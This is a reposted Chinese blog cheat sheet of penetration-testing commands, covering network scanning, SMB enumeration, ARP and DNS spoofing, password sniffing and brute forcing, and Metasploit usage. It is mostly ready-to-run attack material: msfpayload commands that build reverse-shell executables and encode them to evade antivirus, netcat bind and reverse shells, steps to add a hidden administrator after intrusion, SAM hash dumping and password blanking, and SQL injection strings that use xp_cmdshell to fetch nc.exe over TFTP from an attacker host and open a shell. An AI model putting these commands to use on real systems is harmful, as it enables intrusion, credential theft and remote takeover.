渗透测试中常用的命令总结

转载的:原文地址:http://www.lenhook.com/post-121.html

ping 域名/ip 测试本机到远端主机是否联通。

dig 域名/ip 查看域名解析的详细信息。

host -l 域名 dns服务器 传输zone。

扫描

nmap:

-sS 半开扫描TCP和SYN扫描。

-sT 完全TCP连接扫描。

-sU UDP扫描

-PS syn包探测(防火墙探测)

-PA ack包探测(防火墙探测)

-PN 不ping。

-n 不dns解析。

-A -O和-sV。

-O 操作系统识别。

-sV 服务版本信息(banner)

-p 端口扫描。

-T 设置时间级别(0-5)

-iL 导入扫描结果。

-oG 输出扫描结果。

 

操作系统识别:

p0f -i eth0 -U -p 开启混杂模式。

xprobe2 ip|域名 检测os。

 

banner获取:

nc ip port 检测端口是否打开。

telnet ip port 检测端口是否打开。

wget ip 下载主页。

cat index.html | more 显示主页代码。

q 退出。

 

windows枚举

nmap -sS -p 139,445 ip 扫描windows。

cd /pentest/enumeration/smb-enum

nbtscan -f targetIP 检测netbios。

smbgetserverinfo -i targetIP 扫描name,os,组。

smbdumpusers -i targetIP 列出用户。

smbclient -L //targetIP 列出共享。

 

使用windows:

net use \\ip\ipc$ “” /u:”" 开启空会话。

net view \\ip 显示共享信息。

smbclient:

smbclient -L hostName -I targetIP 枚举共享。

smbclient -L hostName/share -U “” 用空用户连接。

smbclient -L hostName -I targetIP -U admin普通用户连接。

 

rpcclient:

rpcclient targetIP -U “”打开一个空会话。

netshareenum 枚举共享。

enumdomusers 枚举用户。

lsaenumsid 枚举域SID。

queryuser RID 查询用户信息。

createdomuser 创建用户访问。

 

ARP欺骗:

ettercap:

nano /usr/local/etc/etter.conf配置文件

Sniff > Unified sniffing > Network interface: eth0 > OK 设置抓包的网卡

Hosts > Scan for hosts (do this two times)扫描网段的主机

Hosts > Hosts list 显示主机列表

Select the default gateway > Add to Target 1 添加主机

Select the target > Add to Target 2 添加主机

Mitm > Arp poisoning > Sniff remote connections > OK 设置ARP攻击

Start > Start sniffing 开始攻击

dsniff -i eth0 监听网卡窃听登录用户密码

urlsnarf -i eth0 嗅探http请求

msgsnarf -i eth0 嗅探聊天软件的聊天内容

driftnet -i eth0 网络管理嗅探图片,音频。

 

dns欺骗:

nano /usr/local/share/ettercap/etter.dns编辑配置文件

Plugins > Manage the plugins > dns_spoof 设置dns欺骗

Mitm > Arp poisoning > Sniff remote connections > OK 设置ARP

Start > Start sniffing 开始攻击

 

Exploits漏洞利用:

cd /pentest/exploits/exploit-db 进入目录

cat sploitlist.txt | grep -i [exploit] 查询需要的漏洞

cat exploit | grep “#include”检查运行环境

cat sploitlist.txt | grep -i exploit | cut -d ” ” -f1 | xargs grep sys | cut -d “:” -f1 | sort -u只保留可以在linux下运行的代码

 

Metasploit:

svn update 升级

./msfweb Web接口127.0.0.1:55555。.

./msfconsole 字符下的Console。

help 帮助

show

search 搜索名字

use 使用漏洞

show options 显示选项

set

show payloads 显示装置

set PAYLOAD 设置装置

show options 显示选项

set

show targets 显示目标(os版本)

set TARGET 设置目标版本

exploit 开始漏洞攻击

sessions -l 列出会话

sessions -i 选择会话

sessions -k 结束会话

z 把会话放到后台

c 结束会话

jobs 列出漏洞运行工作

jobs -K 结束一个漏洞运行工作

show auxiliary 显示辅助模块

use 使用辅助模块

set

run 运行模块

scanner/smb/version 扫描系统版本

scanner/mssql/mssql_ping 测试mssql是否在线

scanner/mssql/mssql_login 测试登录(暴力或字典)

Attacker behind firewall: bind shell正向

Target behind firewall: reverse shell反向

Meterpreter衔接不懂dos的可以用这个:

db_import_nessus_nbe 加载nessus的扫描结果

db_import_nmap_xml 加载nmap的扫描结果

自动化攻击流程:

cd /pentest/exploit/framework3

./msfconsole

load db_sqlite3

db_destroy pentest

db_create pentest

db_nmap targetIP

db_hosts

db_services

db_autopwn -t -p -e

字符接口攻击流程:

./msfcli | grep -i

./msfcli S

./msfcli

做木马后门等:

./msfpayload

S summary and options of payload

C C language

P Perl

y Ruby

R Raw, allows payload to be piped into msfencode and other tools

J JavaScript

X Windows executable

./msfpayload windows/shell/reverse_tcp LHOST=10.1.1.1 C

./msfpayload windows/meterpreter/reverse_tcp LHOST=10.1.1.1 LPORT=4444 X > evil.exe

编码处理就是做免杀:

./msfencode

./msfpayload linux_ia32_bind LPORT=4444 R | ./msfencode -b ‘\x00′ -l

./msfpayload linux_ia32_bind LPORT=4444 R | ./msfencode -b ‘\x00′ -e PexFnstenvMor -t c

 

入侵后在windows下添加管理员用户:

hostname 查看主机名

net users 查看用户

net user 用户 密码 /add 添加用户

net localgroup 查看工作组

net localgroup administrators 查看管理员组

net localgroup administrators x /add 将用户加入管理员组

 

TFTP

cp /pentest/windows-binaries/tools/nc.exe /tmp/传递到tftp上

tftp -i 10.1.1.2 GET nc.exe下载

 

netcat瑞士军刀

attacker: 10.1.1.1

target: 10.1.1.2

nc -v -z 10.1.1.2 1-1024 端口扫描

target: nc -lvp 4444 聊天设置(服务)

attacker: nc -v 10.1.1.2 4444 聊天设置(客户)

target: nc -lvp 4444 > output.txt传输文件(接受)

attacker: nc -v 10.1.1.2 4444 < test.txt传输文件(发送)

target: nc -lvp 4444 -e cmd.exe Bind shell。

attacker: nc -v 10.1.1.2 4444

target:nc -lvp 4444 Reverse shell。

attacker:nc -v 10.1.1.2 4444 -e /bin/bash

 

密码

字典zcat /pentest/password/dictionaries/wordlist.txt.Z > words

cat words | wc -l显示个数(30多万个)

暴力:

hydra -l ftp -P words -v targetIP ftp 攻击ftp。

hydra -l muts -P words -v targetIP pop3 攻击pop3

hydra -P words -v targetIP snmp 攻击snmp

攻击microsof VPN

nmap -p 1723 targetIP

dos2unix words

cat words | thc-pptp-bruter targetIP

WYD:

wget -r www.target.com –accept=pdf 下载pdf文档

wyd.pl -o output.txt www.target.com/

cat output.txt | more

SAM文件(windows下的密码文件):

%SYSTEMROOT%/system32/config

%SYSTEMROOT%/repair

备份windows的hash文件:

./msfcli exploit/windows/dcerpc/ms03_026_dcom RHOST=targetIP PAYLOAD=windows/meterpreter/bind_tcp E

meterpreter > upload -r /tmp/pwdump6 c:\\windows\\system32\\

meterpreter > execute -f cmd -c

meterpreter > interact x

C:\WINDOWS\system32> pwdump \\127.0.0.1

john破解密码:

cp hash.txt /pentest/password/john-1.7.2/run/

cd /pentest/password/john-1.7.2/run/

./john hash.txt

彩虹表:

rcrack *.rt -f hash.txt

 

本地修改密码:

mount

umount /mnt/hda1

modprobe fuse

ntfsmount /dev/hda1 /mnt/hda1

mount

ls -l /mnt/hda1 挂载c盘

bkhive /mnt/sda1/WINDOWS/system32/config/system system.txt

samdump2 /mnt/sda1/WINDOWS/system32/config/sam system.txt > hash.txt 备份sam文件

直接修改sam文件:

chntpw /mnt/sda1/WINDOWS/system32/config/SAM

Blank the password. *

Do you really wish to change it? y

Write hive files? y

unmount /mnt/sda1

reboot

 

SQL 注入

nmap -sS -p 1521 targetIP 扫描oracle

nmap -sS -p T:1433,U:1434 targetIP 扫描mssql

‘ or 1=1–验证旁路

列举表名:

‘ having 1=1–

‘ group by table having 1=1–

‘ group by table, table2 having 1=1–

‘ group by table, table2, table3 having 1=1–

列举列类型:

union select sum(column) from table –

union select sum(column2) from table –

添加数据:

‘ ; insert into table values(‘value’,'value2′,’value3′)–

MSSQL存储程序:

输出数据库中备案信息到一个html文件,您可以查看与一个浏览器。

‘ ; exec sp_makewebtask “c:\Inetpub\wwwroot\test.html”, “select * from table” ; — www.target.com/test.html

运行ipconfig在浏览器查看信息。

‘ or 1=1; exec master..xp_cmdshell ‘ “ipconfig” > c:\Inetpub\wwwroot\test.txt’ ;– www.target.com/test.txt

上传后门。

‘ or 1=1; exec master..xp_cmdshell ‘ “tftp -i attackIP GET nc.exe && nc.exe attackIP 53 -e cmd.exe’ ; –

攻击者: nc -lvp 53

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值